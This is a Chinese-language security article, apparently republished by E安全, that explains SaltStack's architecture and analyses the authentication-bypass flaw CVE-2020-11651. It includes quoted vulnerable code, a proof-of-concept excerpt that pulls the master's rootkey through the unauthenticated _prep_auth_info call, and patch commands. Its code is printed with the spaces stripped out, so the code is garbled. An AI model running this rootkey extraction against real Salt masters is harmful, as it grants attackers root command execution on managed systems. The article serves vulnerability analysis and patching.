发布时间:2020-07-11 11:21:03来源:E安全
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
1.Saltstack是什么
Salt是:
一个配置管理系统,能够维护预定义状态的远程节点(比如,确保指定的报被安装,指定的服务在运行)一个分布式远程执行系统,用来在远程节点(可以是单个节点,也可以是任意规则挑选出来的节点)上执行命令和查询数据。开发其的目的是为远程执行提供最好的解决方案,并使远程执行变得更好,更快,更简单。
2.使用简单
既要考虑大规模部署,又要考虑小规模系统,提供适应多种场合的应用让人沮丧,但Salt非常容易设置和维护,而不用考虑项目的大小。从数量可观的本地网络系统,到跨数据中心的互联网部署,Salt设计为在任意数量的server下都可工作。salt的拓扑使用简单的server/client模式,需求的功能内建在一组daemon中。salt在几乎不改动配置的情况下就可以工作,也可以调整从而满足特定的需求
3.并行执行
Salt的核心功能
使命令发送到远程系统是并行的而不是串行的
使用安全加密的协议
使用最小最快的网络载荷
提供简单的编程接口
Salt同样引入了更加细致化的领域控制系统来远程执行,使得系统成为目标不止可以通过主机名,还可以通过系统属性。
No.1
SaltStack的通讯架构模型
Salt采用服务端-代理的通讯模型(也可以通过SSH方式实现非代理模式)。
服务端称为Saltmaster,代理端称为Saltminion。
Saltmaster负责发送命令予Saltminion,随后收集并展示这些命令的执行结果。
一台Saltmaster可以管理几千台的系统。
No.2
SaltStack的通讯模型
Saltmaster与minion通讯采用的是”订阅-发布“的模式。
通讯的连接由Saltminion发起,这意味着minion无须开启进向的端口(注意:此方式极大地简便了网络规则的设定)。
而Saltmaster的4505和4506端口(默认)必须开启,以接收外部的连接。其中端口功能如下表所示。
通讯模型如下图所示。
No.3
Saltminion验证机制
(1).当minion启动时,其将搜索网络中的master。
当找到时,minion将发送公钥给Saltmaster,从而实现初次握手。其过程如下图所示。
(2).当初次握手后,Saltminion的公钥将被保存在服务端,此时master需要使用过salt-key命令接收公钥(也可以采用自动机制)。注意:在Saltminion的公钥被接收前,Saltmaster是不会将密钥发放给minion的,也就是说minion在此之前不会执行任何命令。
(3).当Saltminion的公钥被接收后,Saltmaster就会把公钥连同用于加解密master信息的可变动AES密钥发送至Saltminion。其中,返回给Saltminion的AES密钥由minion的公钥加密,可由Saltminion解密。
No.4
SaltStack的安全通讯机制
当完成验证后,Saltmaster与Saltminion基于AES密钥进行加解密操作。AES加密密钥基于最新的TLS版本,使用显式初始化向量和CBC块链接算法生成。
No.5
SaltStack的可变动密钥
Salt的可变动AES密钥用于加密由Saltmaster发送至Saltminion的作业,也用于加密至Saltmaster文件服务的连接。每次Saltmaster重启或Saltminion解除验证后,该可变动的AES密钥均会自动更新。
No.6
SaltStack的加密通讯信道
Saltmaster与minion间的公开通讯均以同一个可变动AES密钥加密。但对于Saltmaster与minion的直接通讯(点对点),每个会话都采用一个唯一的AES密钥。
例如:统一公布的作业采用可变动AES密钥进行加密;而以Saltpillar格式发送minion专用数据时,master与每个minion都会有独立的会话,且每个会话采用唯一的AES密钥进行加密。
No.7
SaltStack用户接入控制
在命令发送至minion之前,Salt将会检查发布者访问控制列表(ACL),确保接收到命令的minion具有正确的权限。如果权限符合,则命令将被发送至对应minion,否则将返回报错。Salt还可以返回将响应命令的minion列表,以此确定返回是否结束。
No.8
下载安装
官网:https://github.com/saltstack/salt下载salt-3000.tar.gz
安装https://pypi.org/simple/salt/tar-xvzfsalt-3000.tar.gz
python3setup.pyinstall安装
启动sudosalt-master
启动完成
监听两个端口4505和4506
No.9
漏洞细节
身份验证绕过漏洞(CVE-2020-11651)漏洞分析:
ClearFuncs类处理未经身份验证的请求,并且调用_send_pub()方法,该方法可用于在master上对消息进行排队(zeromq)。此类消息以root身份运行任意命令。
salt/master/master.py
第2196行
def_send_pub(self,load):'''Takealoadandsenditacrossthenetworktoconnectedminions'''fortransport,optsiniter_transport_opts(self.opts):chan=salt.transport.serv
ClearFuncs类调用_prep_auth_info()方法,该方法返回用于验证master上本地root用户命令的“rootkey”。
然后,可以使用此“rootkey”在master上远程调用管理命令。
salt/master/master.py
第2153行
def_prep_auth_info(self,clear_load):sensitive_load_keys=[]key=Noneif'token'inclear_load:auth_type='token'err_name='TokenAuthenticationError'sensitive_load_keys=['token']elif'eauth'inclear_load:auth_type='eauth'err_name='EauthAuthenticationError'sensitive_load_keys=['username','password']else:auth_type='user'err_name='UserAuthenticationError'key=self.key
No.10
poc利用
读取出key(使用https://github.com/dozernz/cve-2020-11651)
defping_master():print("Attemptingtopingmasterat"+master_ip)try:msg={"cmd":"ping"}response=clear_channel.send(msg,timeout=3)ifresponse:returnTrueexceptsalt.exceptions.SaltReqTimeoutError:returnFalsereturnFalsedefget_rootkey():try:response=clear_channel.send({'cmd':'_prep_auth_info'},timeout=2)foriinresponse:ifisinstance(i,dict)andlen(i)==1:rootkey=list(i.values())[0]print("Retrievedrootkey:"+rootkey)returnrootkeyreturnFalseexcept:returnFalse
读取rootkey
No.11
补丁分析
为了修复CVE-2020-11651漏洞,SaltStack定义了公开的方法,用户可以在明文消息中指定这些方法。这是通过一个名为get_method()的新函数完成。
使用新函数get_method()
函数get_method()检查公开的方法
传输方法:ping、publist、get_token、mk_token、wheel、runner
No.12
安装补丁
python-c"importimp;print(imp.find_module('salt')[1])"patch-p2-d/usr/lib/python2.7/dist-packages/salt<2017.7.8_CVE-2020-11651.patchsystemctlrestartsalt-masterservicesalt-masterrestart
注:本文由E安全编译报道,转载请注原文地址
https://www.easyaq.com推荐阅读:
▼点击“阅读原文”查看更多精彩内容
喜欢记得打赏小E哦!